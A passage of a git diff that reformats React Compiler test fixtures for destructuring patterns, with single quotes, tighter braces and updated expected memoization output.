+  const {'data-foo-bar': t} = {'data-foo-bar': 1};
   return t;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-string-literal-invalid-identifier-property-key.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-string-literal-invalid-identifier-property-key.js
index 79dc193bf675..3d6eb9d95ee7 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-string-literal-invalid-identifier-property-key.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-string-literal-invalid-identifier-property-key.js
@@ -1,5 +1,5 @@
 function foo() {
-  const { "data-foo-bar": t } = { "data-foo-bar": 1 };
+  const {'data-foo-bar': t} = {'data-foo-bar': 1};
   return t;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-string-literal-property-key.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-string-literal-property-key.expect.md
index bfe90d643ddb..b233f52cb699 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-string-literal-property-key.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-string-literal-property-key.expect.md
@@ -3,7 +3,7 @@
 
 ```javascript
 function foo() {
-  const { data: t } = { data: 1 };
+  const {data: t} = {data: 1};
   return t;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-string-literal-property-key.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-string-literal-property-key.js
index 46960667a38a..6bb26396ba2e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-string-literal-property-key.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-string-literal-property-key.js
@@ -1,5 +1,5 @@
 function foo() {
-  const { data: t } = { data: 1 };
+  const {data: t} = {data: 1};
   return t;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-array-default.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-array-default.expect.md
index e1edaf615e79..971f9a1f4e45 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-array-default.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-array-default.expect.md
@@ -3,14 +3,14 @@
 
 ```javascript
 function Component(props) {
-  const [[x] = ["default"]] = props.y;
+  const [[x] = ['default']] = props.y;
   return x;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-array-default.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-array-default.js
index c5d3eb8c4376..e744d01265f3 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-array-default.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-array-default.js
@@ -1,10 +1,10 @@
 function Component(props) {
-  const [[x] = ["default"]] = props.y;
+  const [[x] = ['default']] = props.y;
   return x;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-array-param-default.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-array-param-default.expect.md
index e5c80a53b143..414d3b1801a4 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-array-param-default.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-array-param-default.expect.md
@@ -8,8 +8,8 @@ function Component([a = 2]) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-array-param-default.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-array-param-default.js
index 97bb7a8c7b8c..37a48cda67d4 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-array-param-default.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-array-param-default.js
@@ -4,6 +4,6 @@ function Component([a = 2]) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-assignment-array-default.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-assignment-array-default.expect.md
index 0f1e90e8cc00..966826aab82f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-assignment-array-default.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-assignment-array-default.expect.md
@@ -5,7 +5,7 @@
 function Component(props) {
   let x;
   if (props.cond) {
-    [[x] = ["default"]] = props.y;
+    [[x] = ['default']] = props.y;
   } else {
     x = props.fallback;
   }
@@ -14,8 +14,8 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -41,6 +41,7 @@ function Component(props) {
   } else {
     x = props.fallback;
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-assignment-array-default.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-assignment-array-default.js
index 67020e3ff767..6561b0cd9886 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-assignment-array-default.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-assignment-array-default.js
@@ -1,7 +1,7 @@
 function Component(props) {
   let x;
   if (props.cond) {
-    [[x] = ["default"]] = props.y;
+    [[x] = ['default']] = props.y;
   } else {
     x = props.fallback;
   }
@@ -10,6 +10,6 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-assignment.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-assignment.expect.md
index 542e74f96d74..98025e3fa999 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-assignment.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-assignment.expect.md
@@ -8,7 +8,7 @@ function foo(a, b, c) {
     d,
     [
       {
-        e: { f: g },
+        e: {f: g},
       },
     ],
   ] = a;
@@ -18,13 +18,13 @@ function foo(a, b, c) {
     },
     o,
   } = b);
-  return { d, g, n, o };
+  return {d, g, n, o};
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-assignment.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-assignment.js
index 96d959d501fc..7b61954c196d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-assignment.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-assignment.js
@@ -4,7 +4,7 @@ function foo(a, b, c) {
     d,
     [
       {
-        e: { f: g },
+        e: {f: g},
       },
     ],
   ] = a;
@@ -14,11 +14,11 @@ function foo(a, b, c) {
     },
     o,
   } = b);
-  return { d, g, n, o };
+  return {d, g, n, o};
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-default-at-array-hole.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-default-at-array-hole.expect.md
index 28454b1d95d0..17db0c2263a1 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-default-at-array-hole.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-default-at-array-hole.expect.md
@@ -10,7 +10,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: [, /* hole! */ 3.14] }],
+  params: [{value: [, /* hole! */ 3.14]}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-default-at-array-hole.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-default-at-array-hole.js
index d1da06dbc23c..1495095de04b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-default-at-array-hole.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-default-at-array-hole.js
@@ -6,5 +6,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: [, /* hole! */ 3.14] }],
+  params: [{value: [, /* hole! */ 3.14]}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-default-at-explicit-null.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-default-at-explicit-null.expect.md
index b1a9f9f12cd1..d51ef440a6f1 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-default-at-explicit-null.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-default-at-explicit-null.expect.md
@@ -10,7 +10,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: [null] }],
+  params: [{value: [null]}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-default-at-explicit-null.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-default-at-explicit-null.js
index 14f1e3806c88..7b41f5e01e21 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-default-at-explicit-null.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-default-at-explicit-null.js
@@ -6,5 +6,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: [null] }],
+  params: [{value: [null]}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-default-at-explicit-undefined.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-default-at-explicit-undefined.expect.md
index 07e4603fc83d..8c1058adf6e4 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-default-at-explicit-undefined.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-default-at-explicit-undefined.expect.md
@@ -10,7 +10,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: [undefined] }],
+  params: [{value: [undefined]}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-default-at-explicit-undefined.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-default-at-explicit-undefined.js
index 90ce975c5482..ea3a917fc60f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-default-at-explicit-undefined.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-default-at-explicit-undefined.js
@@ -6,5 +6,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: [undefined] }],
+  params: [{value: [undefined]}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-default-past-end-of-array.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-default-past-end-of-array.expect.md
index 1b7ceacfcbf4..2bc5f650e1d0 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-default-past-end-of-array.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-default-past-end-of-array.expect.md
@@ -10,7 +10,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: [] }],
+  params: [{value: []}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-default-past-end-of-array.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-default-past-end-of-array.js
index 0d3738795071..6050d72ed7c7 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-default-past-end-of-array.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-default-past-end-of-array.js
@@ -6,5 +6,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: [] }],
+  params: [{value: []}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-mixed-scope-and-local-variables-with-default.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-mixed-scope-and-local-variables-with-default.expect.md
index d8be3af6cbd3..3a8f9e84cac1 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-mixed-scope-and-local-variables-with-default.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-mixed-scope-and-local-variables-with-default.expect.md
@@ -2,18 +2,25 @@
 ## Input
 
 ```javascript
-import { Stringify, graphql } from "shared-runtime";
+import {Stringify, graphql} from 'shared-runtime';
 
 function useFragment(_arg1, _arg2) {
-  "use no forget";
+  'use no forget';
   return {
-    urls: ["url1", "url2", "url3"],
-    comments: ["comment1"],
+    urls: ['url1', 'url2', 'url3'],
+    comments: ['comment1'],
   };
 }
 
 function Component(props) {
-  const post = useFragment(graphql`...`, props.post);
+  const post = useFragment(
+    graphql`
+      fragment F on T {
+        id
+      }
+    `,
+    props.post
+  );
   const allUrls = [];
   // `media` and `urls` are exported from the scope that will wrap this code,
   // but `comments` is not (it doesn't need to be memoized, bc the callback
@@ -22,8 +29,8 @@ function Component(props) {
   // out of the scope, and the destructure statement ends up turning into
   // a reassignment, instead of a const declaration. this means we try to
   // reassign `comments` when there's no declaration for it.
-  const { media = null, comments = [], urls = [] } = post;
-  const onClick = (e) => {
+  const {media = null, comments = [], urls = []} = post;
+  const onClick = e => {
     if (!comments.length) {
       return;
     }
@@ -35,7 +42,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ post: {} }],
+  params: [{post: {}}],
   isComponent: true,
 };
 
@@ -56,63 +63,60 @@ function useFragment(_arg1, _arg2) {
 }
 
 function Component(props) {
-  const $ = _c(9);
+  const $ = _c(8);
+  const post = useFragment(
+    graphql`
+      fragment F on T {
+        id
+      }
+    `,
+    props.post,
+  );
   let t0;
-  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    t0 = graphql`...`;
-    $[0] = t0;
-  } else {
-    t0 = $[0];
-  }
-  const post = useFragment(t0, props.post);
-  let t1;
-  if ($[1] !== post) {
+  if ($[0] !== post) {
     const allUrls = [];
-
-    const { media: t2, comments: t3, urls: t4 } = post;
-    const media = t2 === undefined ? null : t2;
+    const { media: t1, comments: t2, urls: t3 } = post;
+    const media = t1 === undefined ? null : t1;
+    let t4;
+    if ($[2] !== t2) {
+      t4 = t2 === undefined ? [] : t2;
+      $[2] = t2;
+      $[3] = t4;
+    } else {
+      t4 = $[3];
+    }
+    const comments = t4;
     let t5;
-    if ($[3] !== t3) {
+    if ($[4] !== t3) {
       t5 = t3 === undefined ? [] : t3;
-      $[3] = t3;
-      $[4] = t5;
+      $[4] = t3;
+      $[5] = t5;
     } else {
-      t5 = $[4];
+      t5 = $[5];
     }
-    const comments = t5;
+    const urls = t5;
     let t6;
-    if ($[5] !== t4) {
-      t6 = t4 === undefined ? [] : t4;
-      $[5] = t4;
-      $[6] = t6;
-    } else {
-      t6 = $[6];
-    }
-    const urls = t6;
-    let t7;
-    if ($[7] !== comments.length) {
-      t7 = (e) => {
+    if ($[6] !== comments.length) {
+      t6 = (e) => {
         if (!comments.length) {
           return;
         }
-
         console.log(comments.length);
       };
-      $[7] = comments.length;
-      $[8] = t7;
+      $[6] = comments.length;
+      $[7] = t6;
     } else {
-      t7 = $[8];
+      t6 = $[7];
     }
-    const onClick = t7;
-
+    const onClick = t6;
     allUrls.push(...urls);
-    t1 = <Stringify media={media} allUrls={allUrls} onClick={onClick} />;
-    $[1] = post;
-    $[2] = t1;
+    t0 = <Stringify media={media} allUrls={allUrls} onClick={onClick} />;
+    $[0] = post;
+    $[1] = t0;
   } else {
-    t1 = $[2];
+    t0 = $[1];
   }
-  return t1;
+  return t0;
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-mixed-scope-and-local-variables-with-default.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-mixed-scope-and-local-variables-with-default.js
index 8add13716b21..3aa47dca46f4 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-mixed-scope-and-local-variables-with-default.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-mixed-scope-and-local-variables-with-default.js
@@ -1,15 +1,22 @@
-import { Stringify, graphql } from "shared-runtime";
+import {Stringify, graphql} from 'shared-runtime';
 
 function useFragment(_arg1, _arg2) {
-  "use no forget";
+  'use no forget';
   return {
-    urls: ["url1", "url2", "url3"],
-    comments: ["comment1"],
+    urls: ['url1', 'url2', 'url3'],
+    comments: ['comment1'],
   };
 }
 
 function Component(props) {
-  const post = useFragment(graphql`...`, props.post);
+  const post = useFragment(
+    graphql`
+      fragment F on T {
+        id
+      }
+    `,
+    props.post
+  );
   const allUrls = [];
   // `media` and `urls` are exported from the scope that will wrap this code,
   // but `comments` is not (it doesn't need to be memoized, bc the callback
@@ -18,8 +25,8 @@ function Component(props) {
   // out of the scope, and the destructure statement ends up turning into
   // a reassignment, instead of a const declaration. this means we try to
   // reassign `comments` when there's no declaration for it.
-  const { media = null, comments = [], urls = [] } = post;
-  const onClick = (e) => {
+  const {media = null, comments = [], urls = []} = post;
+  const onClick = e => {
     if (!comments.length) {
       return;
     }
@@ -31,6 +38,6 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ post: {} }],
+  params: [{post: {}}],
   isComponent: true,
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-mixed-scope-declarations-and-locals.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-mixed-scope-declarations-and-locals.expect.md
index 69e0f07088e0..fbb6e50871dc 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-mixed-scope-declarations-and-locals.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-mixed-scope-declarations-and-locals.expect.md
@@ -2,8 +2,17 @@
 ## Input
 
 ```javascript
+import {useFragment} from 'shared-runtime';
+
 function Component(props) {
-  const post = useFragment(graphql`...`, props.post);
+  const post = useFragment(
+    graphql`
+      fragment F on T {
+        id
+      }
+    `,
+    props.post
+  );
   const allUrls = [];
   // `media` and `urls` are exported from the scope that will wrap this code,
   // but `comments` is not (it doesn't need to be memoized, bc the callback
@@ -12,8 +21,8 @@ function Component(props) {
   // out of the scope, and the destructure statement ends up turning into
   // a reassignment, instead of a const declaration. this means we try to
   // reassign `comments` when there's no declaration for it.
-  const { media, comments, urls } = post;
-  const onClick = (e) => {
+  const {media, comments, urls} = post;
+  const onClick = e => {
     if (!comments.length) {
       return;
     }
@@ -29,13 +38,21 @@ function Component(props) {
 
 ```javascript
 import { c as _c } from "react/compiler-runtime";
+import { useFragment } from "shared-runtime";
+
 function Component(props) {
   const $ = _c(4);
-  const post = useFragment(graphql`...`, props.post);
+  const post = useFragment(
+    graphql`
+      fragment F on T {
+        id
+      }
+    `,
+    props.post,
+  );
   let t0;
   if ($[0] !== post) {
     const allUrls = [];
-
     const { media, comments, urls } = post;
     let t1;
     if ($[2] !== comments.length) {
@@ -43,7 +60,6 @@ function Component(props) {
         if (!comments.length) {
           return;
         }
-
         console.log(comments.length);
       };
       $[2] = comments.length;
@@ -52,7 +68,6 @@ function Component(props) {
       t1 = $[3];
     }
     const onClick = t1;
-
     allUrls.push(...urls);
     t0 = <Media media={media} onClick={onClick} />;
     $[0] = post;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-mixed-scope-declarations-and-locals.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-mixed-scope-declarations-and-locals.js
index 5204e36e761c..5d1377c45885 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-mixed-scope-declarations-and-locals.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-mixed-scope-declarations-and-locals.js
@@ -1,5 +1,14 @@
+import {useFragment} from 'shared-runtime';
+
 function Component(props) {
-  const post = useFragment(graphql`...`, props.post);
+  const post = useFragment(
+    graphql`
+      fragment F on T {
+        id
+      }
+    `,
+    props.post
+  );
   const allUrls = [];
   // `media` and `urls` are exported from the scope that will wrap this code,
   // but `comments` is not (it doesn't need to be memoized, bc the callback
@@ -8,8 +17,8 @@ function Component(props) {
   // out of the scope, and the destructure statement ends up turning into
   // a reassignment, instead of a const declaration. this means we try to
   // reassign `comments` when there's no declaration for it.
-  const { media, comments, urls } = post;
-  const onClick = (e) => {
+  const {media, comments, urls} = post;
+  const onClick = e => {
     if (!comments.length) {
       return;
     }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-object-default.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-object-default.expect.md
index d539a76a649a..48ae27c74e15 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-object-default.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-object-default.expect.md
@@ -3,14 +3,14 @@
 
 ```javascript
 function Component(props) {
-  const { x: { y } = { y: "default" } } = props.y;
+  const {x: {y} = {y: 'default'}} = props.y;
   return y;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-object-default.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-object-default.js
index 3644294d7c30..e9d7f3477f14 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-object-default.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-object-default.js
@@ -1,10 +1,10 @@
 function Component(props) {
-  const { x: { y } = { y: "default" } } = props.y;
+  const {x: {y} = {y: 'default'}} = props.y;
   return y;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-object-param-default.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-object-param-default.expect.md
index 48a22e9dd240..3e2322fc9faf 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-object-param-default.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-object-param-default.expect.md
@@ -2,14 +2,14 @@
 ## Input
 
 ```javascript
-function Component({ a = 2 }) {
+function Component({a = 2}) {
   return a;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-object-param-default.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-object-param-default.js
index ac1983f44ac4..180625d24927 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-object-param-default.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-object-param-default.js
@@ -1,9 +1,9 @@
-function Component({ a = 2 }) {
+function Component({a = 2}) {
   return a;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-object-pattern-within-rest.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-object-pattern-within-rest.expect.md
index ae303b73a0d7..677107be83a2 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-object-pattern-within-rest.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-object-pattern-within-rest.expect.md
@@ -3,13 +3,13 @@
 
 ```javascript
 function Component(props) {
-  const [y, ...{ z }] = props.value;
+  const [y, ...{z}] = props.value;
   return [y, z];
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: ["y", { z: "z!" }] }],
+  params: [{value: ['y', {z: 'z!'}]}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-object-pattern-within-rest.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-object-pattern-within-rest.js
index 41014ace8fa7..ebf4e4839ad1 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-object-pattern-within-rest.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-object-pattern-within-rest.js
@@ -1,9 +1,9 @@
 function Component(props) {
-  const [y, ...{ z }] = props.value;
+  const [y, ...{z}] = props.value;
   return [y, z];
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: ["y", { z: "z!" }] }],
+  params: [{value: ['y', {z: 'z!'}]}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-property-inference.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-property-inference.expect.md
index 47d95c728753..a43d5756096b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-property-inference.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-property-inference.expect.md
@@ -5,7 +5,7 @@
 function Component(props) {
   const x = [];
   x.push(props.value);
-  const { length: y } = x;
+  const {length: y} = x;
   foo(y);
   return [x, y];
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-property-inference.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-property-inference.js
index 47cba2aa6847..179b266efaa7 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-property-inference.js
